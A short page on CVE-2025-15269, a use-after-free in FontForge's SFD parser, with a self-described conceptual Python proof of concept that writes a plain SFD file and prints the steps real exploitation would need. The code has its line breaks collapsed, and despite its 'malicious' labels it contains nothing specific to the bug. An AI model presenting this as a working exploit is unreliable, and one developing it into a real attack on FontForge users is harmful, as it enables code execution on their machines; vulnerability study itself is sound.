CVE-2025-15269 FontForge SFD文件解析释放后重用远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-15269 PoC - FontForge SFD File UAF Note: This is a conceptual PoC for educational purposes only. Do not use for malicious purposes. """ import struct def create_malicious_sfd(): """ Generate a malicious SFD file to trigger UAF in FontForge. The exact structure depends on FontForge version and specific parsing code. """ sfd_content = b""" SplineFontDB: 3.0 FontName: MaliciousFont FullName: Malicious Font FamilyName: Test Weight: Medium Copyright: Copyright (c) 2025 UComments: "Test font for CVE-2025-15269" BeginChars: 256 1 BeginChar: space Encoding: 32 32 1 Width: 200 VWidth: 0 Flags: W LayerCount: 2 Layer: 0 1 "Back" 1 Layer: 1 1 "Fore" 1 PickledData: "" EndChar EndChars """ return sfd_content def trigger_uaf(): """ Conceptual demonstration of UAF trigger mechanism. The actual exploitation requires: 1. Precise heap spray/feng shui to control freed object layout 2. Reallocation with attacker-controlled data 3. Use-after-free to corrupt memory/control flow """ print("This PoC demonstrates the UAF vulnerability concept.") print("Actual exploitation requires:") print("1. Crafted SFD file with specific object allocation patterns") print("2. Heap manipulation to control reallocation") print("3. Trigger the free then use sequence") if __name__ == "__main__": trigger_uaf() sfd = create_malicious_sfd() with open("malicious.sfd", "wb") as f: f.write(sfd) print("Generated malicious.sfd file")